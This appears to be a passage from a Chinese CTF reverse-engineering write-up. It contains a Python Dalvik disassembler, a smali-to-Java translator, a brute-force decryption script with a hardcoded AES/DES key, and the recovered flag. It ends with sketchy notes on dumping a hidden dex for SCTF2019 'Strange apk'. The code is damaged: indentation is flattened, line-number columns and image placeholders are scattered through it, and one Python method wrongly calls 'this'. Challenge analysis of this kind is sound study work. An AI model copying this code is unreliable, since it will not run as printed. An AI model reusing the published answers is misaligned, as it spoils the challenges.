item_off = self._u4(off + 8)
self.map_items[typ] = (count, item_off)
off += 12

def _uleb128(self, off: int) -> Tuple[int, int]:
result = 0
shift = 0
pos = off
while True:
b = self._u1(pos)
pos += 1
result |= (b & 0x7F) << shift
if (b & 0x80) == 0:
break
shift += 7
return result, pos

def _read_mutf8_at(self, off: int) -> Tuple[str, int]:
_, pos = self._uleb128(off)
chars: List[str] = []
while True:
b0 = self._u1(pos);
pos += 1
if b0 == 0x00:
break
if b0 < 0x80:
chars.append(chr(b0))
elif (b0 & 0xE0) == 0xC0:
b1 = self._u1(pos);
pos += 1
code = ((b0 & 0x1F) << 6) | (b1 & 0x3F)
if code == 0:
chars.append('\x00')
else:
chars.append(chr(code))
else:
b1 = self._u1(pos);
b2 = self._u1(pos + 1);
pos += 2
code = ((b0 & 0x0F) << 12) | ((b1 & 0x3F) << 6) | (b2 & 0x3F)
if 0xD800 <= code <= 0xDBFF:
b0n = self._u1(pos);
b1n = self._u1(pos + 1);
b2n = self._u1(pos + 2);
pos += 3
code2 = ((b0n & 0x0F) << 12) | ((b1n & 0x3F) << 6) | (b2n & 0x3F)
if 0xDC00 <= code2 <= 0xDFFF:
cp = 0x10000 + (((code - 0xD800) << 10) | (code2 - 0xDC00))
chars.append(chr(cp))
else:
chars.append(chr(code))
chars.append(chr(code2))
else:
chars.append(chr(code))
return ''.join(chars), pos

def get_string(self, idx: int) -> Optional[str]:
if idx < 0 or idx >= self.string_ids_size:
return None
if idx in self._string_cache:
return self._string_cache[idx]
off = self._string_offs[idx]
if off <= 0 or off >= self.size:
return None
s, _ = self._read_mutf8_at(off)
self._string_cache[idx] = s
return s

def get_type_desc(self, idx: int) -> Optional[str]:
if idx < 0 or idx >= self.type_ids_size:
return None
sidx = self._type_str_idx[idx]
return self.get_string(sidx)

def _get_type_list(self, off: int) -> List[str]:
if off == 0 or off >= self.size:
return []
size = self._u4(off)
types: List[str] = []
p = off + 4
for _ in range(size):
t_idx = self._u2(p)
p += 2
desc = self.get_type_desc(t_idx)
types.append(desc if desc is not None else f"type@{hex16(t_idx)}")
return types

def get_proto_sig(self, idx: int) -> Optional[str]:
if idx < 0 or idx >= self.proto_ids_size:
return None
shorty_idx, ret_type_idx, params_off = self._proto_list[idx]
ret = self.get_type_desc(ret_type_idx) or "V"
params = self._get_type_list(params_off)
return f"({''.join(params)}){ret}"

def get_field_str(self, idx: int) -> Optional[str]:
if idx < 0 or idx >= self.field_ids_size:
return None
class_idx, type_idx, name_idx = self._field_list[idx]
owner = self.get_type_desc(class_idx) or f"type@{hex16(class_idx)}"
ftype = self.get_type_desc(type_idx) or f"type@{hex16(type_idx)}"
name = self.get_string(name_idx) or f"string@{hex32(name_idx)}"
return f"{owner}->{name}:{ftype}"

def get_method_str(self, idx: int) -> Optional[str]:
if idx < 0 or idx >= self.method_ids_size:
return None
class_idx, proto_idx, name_idx = self._method_list[idx]
owner = self.get_type_desc(class_idx) or f"type@{hex16(class_idx)}"
name = self.get_string(name_idx) or f"string@{hex32(name_idx)}"
sig = self.get_proto_sig(proto_idx) or f"proto@{hex16(proto_idx)}"
return f"{owner}->{name}{sig}"

def get_call_site_str(self, idx: int) -> Optional[str]:
if self._cs_off == 0 or idx < 0 or idx >= self._cs_count:
return None
entry_off = self._u4(self._cs_off + idx * 4)
return f"call_site@{hex32(entry_off)}"

def get_method_handle_str(self, idx: int) -> Optional[str]:
if self._mh_off == 0 or idx < 0 or idx >= self._mh_count:
return None
off = self._mh_off + idx * 8
if off + 8 > self.size:
return None
mh_type = self._u2(off + 0)
_unused = self._u2(off + 2)
target_id = self._u2(off + 4)
_unused2 = self._u2(off + 6)
target_field = self.get_field_str(target_id)
target_method = self.get_method_str(target_id)
target = target_method if target_method is not None else target_field
if target is None:
target = f"id@{hex16(target_id)}"
return f"method_handle[kind={mh_type}] {target}"

def format_ref(self, kind: Optional[int], idx: int) -> str:
if kind is None:
return f"ref@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"
if kind == 0:
s = self.get_string(idx)
return f"\"{s}\"" if s is not None else f"string@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"
if kind == 1:
s = self.get_type_desc(idx)
return s if s is not None else f"type@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"
if kind == 2:
s = self.get_field_str(idx)
return s if s is not None else f"field@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"
if kind == 3:
s = self.get_method_str(idx)
return s if s is not None else f"method@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"
if kind == 4:
s = self.get_proto_sig(idx)
return s if s is not None else f"proto@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"
if kind == 5:
s = self.get_call_site_str(idx)
return s if s is not None else f"call_site@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"
if kind == 6:
s = this.get_method_handle_str(idx)
return s if s is not None else f"method_handle@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"
return f"{ref_kind_name(kind)}@{hex16(idx) if idx <= 0xFFFF else hex32(idx)}"


def decode_block(insns_bytes: bytes, regs_size: int, ins_size: int, dex: Optional[DexFile] = None) -> str:
insns_size = len(insns_bytes) // 2
units = list(struct.unpack('<' + 'H' * insns_size, insns_bytes))
labels_needed: Dict[int, str] = {}
payload_labels: Dict[int, str] = {}
switch_bases: Dict[int, int] = {}
decoded: List[Tuple[int, int, List[str]]] = []

def rn(x: int) -> str:
return reg_name(x, regs_size, ins_size)

def fmt_ref(kind: Optional[int], idx: int, is_32: bool) -> str:
if dex is None:
base = hex32(idx) if is_32 else hex16(idx)
return f"{ref_kind_name(kind)}@{base}"
return dex.format_ref(kind, idx)

def decode_one(pc: int) -> Tuple[int, List[str]]:
u0 = units[pc]
op_lo = u0 & 0xFF
op_hi = (u0 >> 8) & 0xFF

if u0 in (0x0100, 0x0200, 0x0300):
if u0 == 0x0100:
if pc + 4 > insns_size: return (1, ["# truncated packed-switch-payload"])
size = units[pc + 1]
lines = [".packed-switch 0x%08x" % ((units[pc + 3] << 16) | units[pc + 2])]
for _ in range(size):
lines.append(" <tbd>")
lines.append(".end packed-switch")
return (4 + size * 2, lines)
if u0 == 0x0200:
if pc + 2 > insns_size: return (1, ["# truncated sparse-switch-payload"])
size = units[pc + 1]
lines = [".sparse-switch"]
for _ in range(size):
lines.append(" <tbd> -> <tbd>")
lines.append(".end sparse-switch")
return (2 + size * 4, lines)
if u0 == 0x0300:
if pc + 4 > insns_size: return (1, ["# truncated array-payload"])
elem_width = units[pc + 1]
size = (units[pc + 3] << 16) | units[pc + 2]
total_bytes = elem_width * size
cu = (total_bytes + 1) // 2
pad = cu & 1
lines = [f".array-data {elem_width}", ".end array-data"]
return (4 + cu + pad, lines)

info = OPCODES.get(op_lo)
if info is None:
return (1, [f"# unknown-op {hex8(op_lo)}"])

name, fmt, ref1, ref2 = info
a8 = op_hi
out: List[str] = []
size = 1

if fmt == "10x":
out.append(name)
elif fmt == "11x":
out.append(f"{name} {rn(a8)}")
elif fmt == "11n":
A = (a8 >> 4) & 0xF;
B = s1_to_s8(a8 & 0xF, 4)
out.append(f"{name} {rn(A)}, {B}")
elif fmt == "12x":
A = (a8 >> 4) & 0xF;
B = a8 & 0xF
out.append(f"{name} {rn(A)}, {rn(B)}")
elif fmt == "10t":
off8 = s1_to_s8(a8, 8);
tgt = pc + off8
labels_needed.setdefault(tgt, f":L{tgt:04x}")
out.append(f"{name} {labels_needed[tgt]}")
elif fmt == "20t":
size = 2;
off16 = s16(units[pc + 1]);
tgt = pc + off16
labels_needed.setdefault(tgt, f":L{tgt:04x}")
out.append(f"{name} {labels_needed[tgt]}")
elif fmt == "30t":
size = 3;
off32 = s32_from_u2(units[pc + 1], units[pc + 2]);
tgt = pc + off32
labels_needed.setdefault(tgt, f":L{tgt:04x}")
out.append(f"{name} {labels_needed[tgt]}")
elif fmt == "21t":
size = 2;
A = a8;
off16 = s16(units[pc + 1]);
tgt = pc + off16
labels_needed.setdefault(tgt, f":L{tgt:04x}")
out.append(f"{name} {rn(A)}, {labels_needed[tgt]}")
elif fmt == "22t":
size = 2;
A = (a8 >> 4) & 0xF;
B = a8 & 0xF;
off16 = s16(units[pc + 1]);
tgt = pc + off16
labels_needed.setdefault(tgt, f":L{tgt:04x}")
out.append(f"{name} {rn(A)}, {rn(B)}, {labels_needed[tgt]}")
elif fmt == "21s":
size = 2;
A = a8;
lit = s16(units[pc + 1])
out.append(f"{name} {rn(A)}, {lit}")
elif fmt == "21ih":
size = 2;
A = a8;
val = units[pc + 1] << 16
out.append(f"{name} {rn(A)}, {hex(val)}")
elif fmt == "21lh":
size = 2;
A = a8;
val = units[pc + 1] << 48
out.append(f"{name} {rn(A)}, {hex(val)}")
elif fmt == "31i":
size = 3;
A = a8;
lit = s32_from_u2(units[pc + 1], units[pc + 2])
out.append(f"{name} {rn(A)}, {hex32(lit)}")
elif fmt == "51l":
size = 5;
A = a8;
lit = s64_from_u2(units[pc + 1], units[pc + 2], units[pc + 3], units[pc + 4])
out.append(f"{name} {rn(A)}, {hex(lit & 0xFFFFFFFFFFFFFFFF)}")
elif fmt == "21c":
size = 2;
A = a8;
idx = units[pc + 1]
out.append(f"{name} {rn(A)}, {fmt_ref(ref1, idx, False)}")
elif fmt == "31c":
size = 3;
A = a8;
idx = (units[pc + 2] << 16) | units[pc + 1]
out.append(f"{name} {rn(A)}, {fmt_ref(ref1, idx, True)}")
elif fmt == "22c":
size = 2;
A = (a8 >> 4) & 0xF;
B = a8 & 0xF;
idx = units[pc + 1]
out.append(f"{name} {rn(A)}, {rn(B)}, {fmt_ref(ref1, idx, False)}")
elif fmt == "22x":
size = 2;
A = a8;
BBBB = units[pc + 1]
out.append(f"{name} {rn(A)}, {rn(BBBB)}")
elif fmt == "23x":
size = 2;
A = a8;
B = units[pc + 1] & 0xFF;
C = (units[pc + 1] >> 8) & 0xFF
out.append(f"{name} {rn(A)}, {rn(B)}, {rn(C)}")
elif fmt == "22s":
size = 2;
A = (a8 >> 4) & 0xF;
B = a8 & 0xF;
lit = s16(units[pc + 1])
out.append(f"{name} {rn(A)}, {rn(B)}, {lit}")
elif fmt == "22b":
size = 2
A = a8
BC = units[pc + 1]
B = BC & 0xFF
C = s1_to_s8((BC >> 8) & 0xFF, 8)
out.append(f"{name} {rn(A)}, {rn(B)}, {C}")
elif fmt == "32x":
size = 3;
AAAA = units[pc + 1];
BBBB = units[pc + 2]
out.append(f"{name} {rn(AAAA)}, {rn(BBBB)}")
elif fmt == "31t":
size = 3;
A = a8;
off32 = s32_from_u2(units[pc + 1], units[pc + 2]);
tgt = pc + off32
payload_labels.setdefault(tgt, f":payload_{tgt:04x}")
switch_bases[tgt] = pc
out.append(f"{name} {rn(A)}, {payload_labels[tgt]}")
elif fmt == "35c":
size = 3;
A = (a8 >> 4) & 0xF;
G = a8 & 0xF;
bbbb = units[pc + 1];
cdef = units[pc + 2]
C = (cdef) & 0xF;
D = (cdef >> 4) & 0xF;
E = (cdef >> 8) & 0xF;
F = (cdef >> 12) & 0xF
regs = [C, D, E, F, G][:A]
out.append(f"{name} {{{', '.join(rn(r) for r in regs)}}}, {fmt_ref(ref1, bbbb, False)}")
elif fmt == "3rc":
size = 3;
A = a8;
bbbb = units[pc + 1];
cccc = units[pc + 2]
regs = [rn(cccc + i) for i in range(A)]
out.append(f"{name} {{{', '.join(regs)}}}, {fmt_ref(ref1, bbbb, False)}")
elif fmt == "45cc":
size = 4;
A = (a8 >> 4) & 0xF;
G = a8 & 0xF;
bbbb = units[pc + 1];
cdef = units[pc + 2];
hhhh = units[pc + 3]
C = (cdef) & 0xF;
D = (cdef >> 4) & 0xF;
E = (cdef >> 8) & 0xF;
F = (cdef >> 12) & 0xF
regs = [C, D, E, F, G][:A]
out.append(
f"{name} {{{', '.join(rn(r) for r in regs)}}}, {fmt_ref(ref1, bbbb, False)}, {fmt_ref(ref2, hhhh, False)}")
elif fmt == "4rcc":
size = 4;
A = a8;
bbbb = units[pc + 1];
cccc = units[pc + 2];
hhhh = units[pc + 3]
regs = [rn(cccc + i) for i in range(A)]
out.append(f"{name} {{{', '.join(regs)}}}, {fmt_ref(ref1, bbbb, False)}, {fmt_ref(ref2, hhhh, False)}")
else:
out.append(f"# unhandled-format {fmt} ({name})")

return (size, out)

pc = 0
while pc < insns_size:
sz, lines = decode_one(pc)
decoded.append((pc, max(1, sz), lines))
pc += max(1, sz)

for pco in list(payload_labels.keys()):
if 0 <= pco < insns_size:
u0 = units[pco]
if u0 == 0x0100:
payload_labels[pco] = f":pswitch_{pco:04x}"
elif u0 == 0x0200:
payload_labels[pco] = f":sswitch_{pco:04x}"
elif u0 == 0x0300:
payload_labels[pco] = f":array_{pco:04x}"
else:
payload_labels[pco] = f":payload_{pco:04x}"

out: List[str] = []
out.append(f".registers {regs_size}")
out.append("")

label_for_pc = {pc: name for pc, name in labels_needed.items()}
label_for_pc.update({pc: name for pc, name in payload_labels.items()})

def render_payload(pc0: int, content_lines: List[str]) -> List[str]:
u0 = units[pc0]
lines: List[str] = []
if u0 == 0x0100:
size = units[pc0 + 1] if pc0 + 1 < insns_size else 0
first_key = s32_from_u2(units[pc0 + 2], units[pc0 + 3]) if pc0 + 3 < insns_size else 0
base_pc = switch_bases.get(pc0, pc0)
lines.append(f".packed-switch {hex32(first_key)}")
for i in range(size):
idx = pc0 + 4 + i * 2
if idx + 1 >= insns_size:
lines.append("# truncated targets");
break
tgt_rel = s32_from_u2(units[idx], units[idx + 1])
tgt_abs = base_pc + tgt_rel
lbl = label_for_pc.get(tgt_abs, f":L{tgt_abs:04x}")
lines.append(f" {lbl}")
lines.append(".end packed-switch")
return lines
if u0 == 0x0200:
size = units[pc0 + 1] if pc0 + 1 < insns_size else 0
base_pc = switch_bases.get(pc0, pc0)
lines.append(".sparse-switch")
for i in range(size):
kp = pc0 + 2 + i * 4
if kp + 3 >= insns_size:
lines.append("# truncated pairs");
break
key = s32_from_u2(units[kp], units[kp + 1])
tgt_rel = s32_from_u2(units[kp + 2], units[kp + 3])
tgt_abs = base_pc + tgt_rel
lbl = label_for_pc.get(tgt_abs, f":L{tgt_abs:04x}")
lines.append(f" {hex32(key)} -> {lbl}")
lines.append(".end sparse-switch")
return lines
if u0 == 0x0300:
elem_width = units[pc0 + 1] if pc0 + 1 < insns_size else 1
size = (units[pc0 + 3] << 16 | units[pc0 + 2]) if pc0 + 3 < insns_size else 0
lines.append(f".array-data {elem_width}")
byte_off = pc0 * 2 + 8
for i in range(size):
start = byte_off + i * elem_width
end = start + elem_width
if end > len(insns_bytes): break
val = int.from_bytes(insns_bytes[start:end], 'little', signed=False)
lines.append(f" {hex(val)}")
lines.append(".end array-data")
return lines
return content_lines

for pc0, sz, content in decoded:
if pc0 in label_for_pc:
out.append(label_for_pc[pc0])
u0 = units[pc0]
if u0 in (0x0100, 0x0200, 0x0300):
out += render_payload(pc0, content)
else:
fixed = []
for ln in content:
if "packed-switch" in ln or "sparse-switch" in ln or "fill-array-data" in ln:
for tgt, lbl in payload_labels.items():
ln = ln.replace(f":payload_{tgt:04x}", lbl)
fixed.append(ln)
out += fixed

return "\n".join(out)


def disasm_pack(path: str, regs_size: int, ins_size: int, dex: Optional[DexFile]) -> str:
with open(path, 'rb') as f:
data = f.read()

pos = 0
idx = 0
out_all: List[str] = []
total = len(data)
while pos + 8 <= total:
off_u32, units = struct.unpack_from('<II', data, pos)
pos += 8
need = units * 2
if units == 0 or pos + need > total:
break
insns = data[pos:pos + need]
pos += need
smali = decode_block(insns, regs_size, ins_size, dex)
out_all.append(f"# record {idx}: file_off={hex(off_u32)} units={units} bytes={need}\n{smali}\n")
idx += 1
if idx == 0:
return "# no records parsed (check file format)"
return "\n".join(out_all)


def main():
if len(sys.argv) != 3:
print("Usage: python disassemble.py <input_file> <dex_file>")
sys.exit(1)

path = sys.argv[1]
dex_path = sys.argv[2]

# 寄存器数量和输入参数数量,根据实际情况调整
regs = 64
ins = 0

dex = DexFile(dex_path)
smali = disasm_pack(path, regs, ins, dex)

# 输出到文件
with open("out.smali", "w", encoding="utf-8") as f:
f.write(smali)

print("Disassembly completed. Output saved to out.smali")


if __name__ == "__main__":
main()
1
python xxx.py extract.dat classes.dex

得到out.smali smali –> java

exp2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
#!/usr/bin/env python3
"""
smali2java.py

Lightweight heuristic smali -> java-like translator for small smali fragments
(works on the '# record N: ...' style blocks like in the user's sample).

Usage:
python3 smali2java.py input.smali.txt > output.java

Notes:
- This is NOT a full decompiler. It maps common smali instructions to readable Java-like lines.
- Useful for quickly reading what smali is doing; output needs manual cleanup.
"""

import sys
import re
from typing import List

# --- Helpers ---------------------------------------------------------------
def read_records(lines: List[str]) -> List[dict]:
records = []
cur = None
for line in lines:
m = re.match(r"^# record\s+(\d+):\s*(.*)$", line)
if m:
if cur:
records.append(cur)
cur = {"id": int(m.group(1)), "header": m.group(2), "body": []}
continue
if cur is None:
continue
# collect lines until next record
cur["body"].append(line.rstrip("\n"))
if cur:
records.append(cur)
return records

# map registers v0..vN to readable names: var0, var1, this if v0? (heuristic)
def vname(v: str) -> str:
# v may be like "v0" or "p0"
return v.replace("v", "var").replace("p", "arg")

def decode_array_data(block_lines: List[str]) -> str:
# find .array-data and bytes then create Java array literal
arr = []
in_array = False
for L in block_lines:
if ".array-data" in L:
in_array = True
continue
if in_array:
if L.strip().startswith(".end array-data"):
break
# lines like 0x76
tokens = L.strip().split()
for t in tokens:
try:
val = int(t, 16)
arr.append(str(val))
except:
pass
return "new byte[]{%s}" % (", ".join(arr))

# translate a single record body to a Java-like snippet
def translate_body(body: List[str]) -> List[str]:
out = []
i = 0
# accumulate array-data blocks
if any(".array-data" in l for l in body):
# try to detect the sput-object with TARGET and attach the array literal
# naive: find sput-object line target field name
sput = next((l for l in body if "sput-object" in l), None)
if sput:
# sput-object v0, Lcom/swdd/strangeapp/MainActivity;->TARGET:[B
m = re.search(r"sput-object\s+\S+,\s+L([^;]+);->(\w+):(\[B)", sput)
if m:
class_path = m.group(1).replace("/", ".")
field = m.group(2)
arr_lit = decode_array_data(body)
out.append("/* static byte[] %s.%s initialized */" % (class_path, field))
out.append("private static byte[] %s = %s;" % (field, arr_lit))
return out

# generic instruction translations
for L in body:
if not L.strip() or L.strip().startswith("#"):
continue

# .registers N -> comment
if L.strip().startswith(".registers"):
out.append("// " + L.strip())
continue
# const-string v0, "..."
m = re.match(r"\s*const-string\s+(\S+),\s+\"(.*)\"", L)
if m:
out.append("%s = \"%s\";" % (vname(m.group(1)), m.group(2)))
continue
# const/4 v0, 0 or const/16
m = re.match(r"\s*const(?:/\w+)?\s+(\S+),\s+(-?\d+|0x[0-9a-fA-F]+)", L)
if m:
out.append("%s = %s;" % (vname(m.group(1)), m.group(2)))
continue
# new-instance v2, Lcom/xxx/MyClass;
m = re.match(r"\s*new-instance\s+(\S+),\s+L([^;]+);", L)
if m:
out.append("%s = new %s();" % (vname(m.group(1)), m.group(2).replace("/", ".")))
continue
# new-array v0, vN, [B => byte[] arr = new byte[len];
m = re.match(r"\s*new-array\s+(\S+),\s+(\S+),\s+\[B", L)
if m:
out.append("%s = new byte[%s];" % (vname(m.group(1)), vname(m.group(2))))
continue
# fill-array-data v0, :array_000a -> handled by array-data block
if "fill-array-data" in L:
out.append("// " + L.strip())
continue
# iput-object v0, v1, Lcom/...;->f$0:Type
m = re.match(r"\s*iput-object\s+(\S+),\s+(\S+),\s+L([^;]+);->([^:]+):(.+)", L)
if m:
out.append("%s.%s = %s;" % (vname(m.group(2)), m.group(4), vname(m.group(1))))
continue
# sput-object v0, Lcom/...;->TARGET:[B (static put)
m = re.match(r"\s*sput-object\s+(\S+),\s+L([^;]+);->([^:]+):(.+)", L)
if m:
out.append("%s.%s = %s;" % (m.group(2).replace("/", "."), m.group(3), vname(m.group(1))))
continue
# sget-object v2, Lcom/...;->TARGET:[B
m = re.match(r"\s*sget-object\s+(\S+),\s+L([^;]+);->([^:]+):(.+)", L)
if m:
out.append("%s = %s.%s;" % (vname(m.group(1)), m.group(2).replace("/", "."), m.group(3)))
continue
# invoke-direct {v0}, Ljava/lang/Object;-><init>()V
m = re.match(r"\s*invoke-direct\s+\{([^}]+)\},\s+L([^;]+);->(\S+)\((.*?)\)(.+)", L)
if m:
regs = [r.strip() for r in m.group(1).split(",")]
method_owner = m.group(2).replace("/", ".")
method_name = m.group(3)
params = m.group(4)
out.append("// constructor call: %s.%s(%s) // from regs %s" % (method_owner, method_name, params, ", ".join(map(vname, regs))))
if method_name == "<init>":
# make a new-expression if single reg used as receiver assignment
if len(regs) >= 1:
out.append("%s = new %s();" % (vname(regs[0]), method_owner))
continue
# invoke-virtual {v3, v0}, Lcom/swdd/...;->setContentView(I)V
m = re.match(r"\s*invoke-virtual\s+\{([^}]+)\},\s+L([^;]+);->([^()]+)\((.*?)\)(.+)", L)
if m:
regs = [r.strip() for r in m.group(1).split(",")]
owner = m.group(2).replace("/", ".")
mname = m.group(3)
sig = m.group(4)
args = ", ".join(vname(r) for r in regs[1:]) if len(regs) > 1 else ", ".join(vname(r) for r in regs)
# heuristic: if first register is 'v3' likely it's "this"
out.append("%s.%s(%s);" % (vname(regs[0]), mname, args))
continue
# invoke-static (call static method)
m = re.match(r"\s*invoke-static\s+\{([^}]+)\},\s+L([^;]+);->([^()]+)\((.*?)\)(.+)", L)
if m:
regs = [r.strip() for r in m.group(1).split(",")]
owner = m.group(2).replace("/", ".")
mname = m.group(3)
args = ", ".join(vname(r) for r in regs)
out.append("%s.%s(%s);" % (owner, mname, args))
continue
# invoke-super {v3, v4}, Landroidx/...;->onCreate(Landroid/os/Bundle;)V
m = re.match(r"\s*invoke-super\s+\{([^}]+)\},\s+L([^;]+);->([^()]+)\((.*?)\)(.+)", L)
if m:
regs = [r.strip() for r in m.group(1).split(",")]
owner = m.group(2).replace("/", ".")
mname = m.group(3)
out.append("super.%s(%s);" % (mname, ", ".join(vname(r) for r in regs[1:])))
continue
# return-void / return-object v2
if re.search(r"\breturn-void\b", L):
out.append("return;")
continue
m = re.match(r"\s*return-object\s+(\S+)", L)
if m:
out.append("return %s;" % vname(m.group(1)))
continue
m = re.match(r"\s*return-(?:value|v32)?\s+(\S+)", L)
if m:
out.append("return %s;" % vname(m.group(1)))
continue
# check-cast / check-cast v0, Landroid/widget/EditText;
m = re.match(r"\s*check-cast\s+(\S+),\s+L([^;]+);", L)
if m:
out.append("%s = (%s) %s;" % (vname(m.group(1)), m.group(2).replace("/", "."), vname(m.group(1))))
continue
# find view: invoke-virtual {this, id}, L...;->findViewById(I)Landroid/view/View;
if "findViewById" in L:
out.append("// " + L.strip())
# try to convert to: varX = findViewById(id);
m = re.search(r"findViewById\((I)?\)", L)
# fallback simple comment
continue
# substring/charAt/xor/text constructs (simple heuristics)
if "charAt" in L or "substring" in L or "StringBuilder" in L:
out.append("// string manipulation: " + L.strip())
continue

# fallback: keep the original line as a comment for inspection
out.append("// " + L.strip())

return out

# --- Main ------------------------------------------------------------------
def main():
if len(sys.argv) < 2:
print("Usage: python3 smali2java.py input.smali.txt", file=sys.stderr)
print("Output is printed to stdout. Redirect to a file if you want.", file=sys.stderr)
# read stdin as fallback
data = sys.stdin.read()
else:
with open(sys.argv[1], "r", encoding="utf-8") as f:
data = f.read()

lines = data.splitlines()
records = read_records(lines)

header = []
body_lines = []
header.append("// Generated by smali2java.py (heuristic).")
header.append("// Input records: %d" % len(records))
header.append("public class Decompiled {")
header.append("")
footer = ["}", ""]

# collect static fields from records (like TARGET array)
static_fields = []
methods = []

for rec in records:
tid = rec["id"]
# quick detect: array-data + sput-object -> static array field
if any(".array-data" in l for l in rec["body"]) and any("sput-object" in l for l in rec["body"]):
translated = translate_body(rec["body"])
static_fields.extend(translated)
continue

# detect onCreate-like (invoke-super onCreate, setContentView, findViewById etc)
if any("onCreate" in l or "setContentView" in l for l in rec["body"]):
body = translate_body(rec["body"])
methods.append(("void onCreate(Bundle savedInstanceState /* inferred from smali */)", body))
continue

# else generic method block
body = translate_body(rec["body"])
methods.append((f"/* record_{tid}_method */ void method_{tid}()", body))

# print Java-like file
out = []
out.extend(header)
if static_fields:
out.append(" // static fields inferred")
for sf in static_fields:
out.append(" " + sf)
out.append("")

for sig, body in methods:
out.append(" public " + sig + " {")
if not body:
out.append(" // (empty / unrecognized body)")
else:
for ln in body:
# indent translated lines
for sub in ln.splitlines():
out.append(" " + sub)
out.append(" }")
out.append("")

out.extend(footer)
print("\n".join(out))


if __name__ == "__main__":
main()

得到java源码逆向解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
# decrypt_try.py
# 运行前: pip install pycryptodome
from Crypto.Cipher import DES, DES3, AES
from Crypto.Util.Padding import unpad
import binascii

TARGET = bytes([118, 17, 7, 124, 157, 51, 23, 133, 178, 23, 203, 1, 42, 109, 179, 5, 169, 10, 179, 106, 78, 100, 123, 138, 209, 31, 19, 56, 115, 151, 245, 218, 238, 184, 12, 42, 17, 55, 135, 212, 119, 215, 87, 118, 95, 180, 172, 69])

# 从反编译看到的 key/iv 字符串
key_str = b"1234567891123456" # 16 bytes
iv_str = b"1234567891123456" # 16 bytes

print("TARGET length:", len(TARGET))
print("TARGET hex:", binascii.hexlify(TARGET).decode())

def try_aes_128_cbc():
try:
cipher = AES.new(key_str, AES.MODE_CBC, iv=iv_str[:16])
pt = unpad(cipher.decrypt(TARGET), AES.block_size)
print("\nAES-128-CBC -> success")
print("plaintext bytes:", pt)
try:
print("utf-8:", pt.decode('utf-8'))
except Exception as e:
print("utf-8 decode error:", e)
except Exception as e:
print("\nAES-128-CBC -> failed:", e)

def try_des_cbc_with_truncated_key():
try:
k = key_str[:8]
iv = iv_str[:8]
cipher = DES.new(k, DES.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(TARGET), DES.block_size)
print("\nDES-CBC (key=first8, iv=first8) -> success")
print("key (hex):", binascii.hexlify(k).decode())
print("plaintext bytes:", pt)
try:
print("utf-8:", pt.decode('utf-8'))
except Exception as e:
print("utf-8 decode error:", e)
except Exception as e:
print("\nDES-CBC -> failed:", e)

def try_des_ecb_truncated_key():
try:
k = key_str[:8]
cipher = DES.new(k, DES.MODE_ECB)
pt = unpad(cipher.decrypt(TARGET), DES.block_size)
print("\nDES-ECB (key=first8) -> success")
print("plaintext bytes:", pt)
try:
print("utf-8:", pt.decode('utf-8'))
except Exception as e:
print("utf-8 decode error:", e)
except Exception as e:
print("\nDES-ECB -> failed:", e)

def try_3des_cbc_with_16byte_key_padded():
try:
k16 = key_str
k24 = k16 + k16[:8] # 常用的 from-16-to-24 扩展
iv = iv_str[:8]
cipher = DES3.new(k24, DES3.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(TARGET), DES3.block_size)
print("\n3DES-CBC (16->24 padded) -> success")
print("key24 hex:", binascii.hexlify(k24).decode())
print("plaintext bytes:", pt)
try:
print("utf-8:", pt.decode('utf-8'))
except Exception as e:
print("utf-8 decode error:", e)
except Exception as e:
print("\n3DES-CBC -> failed:", e)

def try_3des_cbc_with_24byte_key():
try:
k24 = (key_str * 2)[:24]
iv = iv_str[:8]
cipher = DES3.new(k24, DES3.MODE_CBC, iv=iv)
pt = unpad(cipher.decrypt(TARGET), DES3.block_size)
print("\n3DES-CBC (constructed 24) -> success")
print("key24 hex:", binascii.hexlify(k24).decode())
print("plaintext bytes:", pt)
try:
print("utf-8:", pt.decode('utf-8'))
except Exception as e:
print("utf-8 decode error:", e)
except Exception as e:
print("\n3DES-CBC (constructed 24) -> failed:", e)

# 执行尝试
try_aes_128_cbc()
try_des_cbc_with_truncated_key()
try_des_ecb_truncated_key()
try_3des_cbc_with_16byte_key_padded()
try_3des_cbc_with_24byte_key()

print("\nDone.")
1
flag{just_easy_strange_app_right?}

[SCTF2019]Strange apk(Xposed安装以及反射大师安装)

1

是个输入flag验证的题目。

1

用jeb打开可以发现真的入口点是sctf.demo.myapplication.t,但是我们只看到了sctf.demo.myapplication.s所以我们知道app动态释放文件

我们要下载Xposed和反射大师这个下载太难搞了~~~~

记录一下步骤

1

点击激活在点击上方三条杠选择模版,首要是你已经安装了反射大师。

1

打开反射大师,按照一下步骤

1

1

1

1

1

1

然后打开windows的共享文件夹就可以得到dex文件。

在用jeb打开

1

1

第一部分解base64,第二部分去8

1
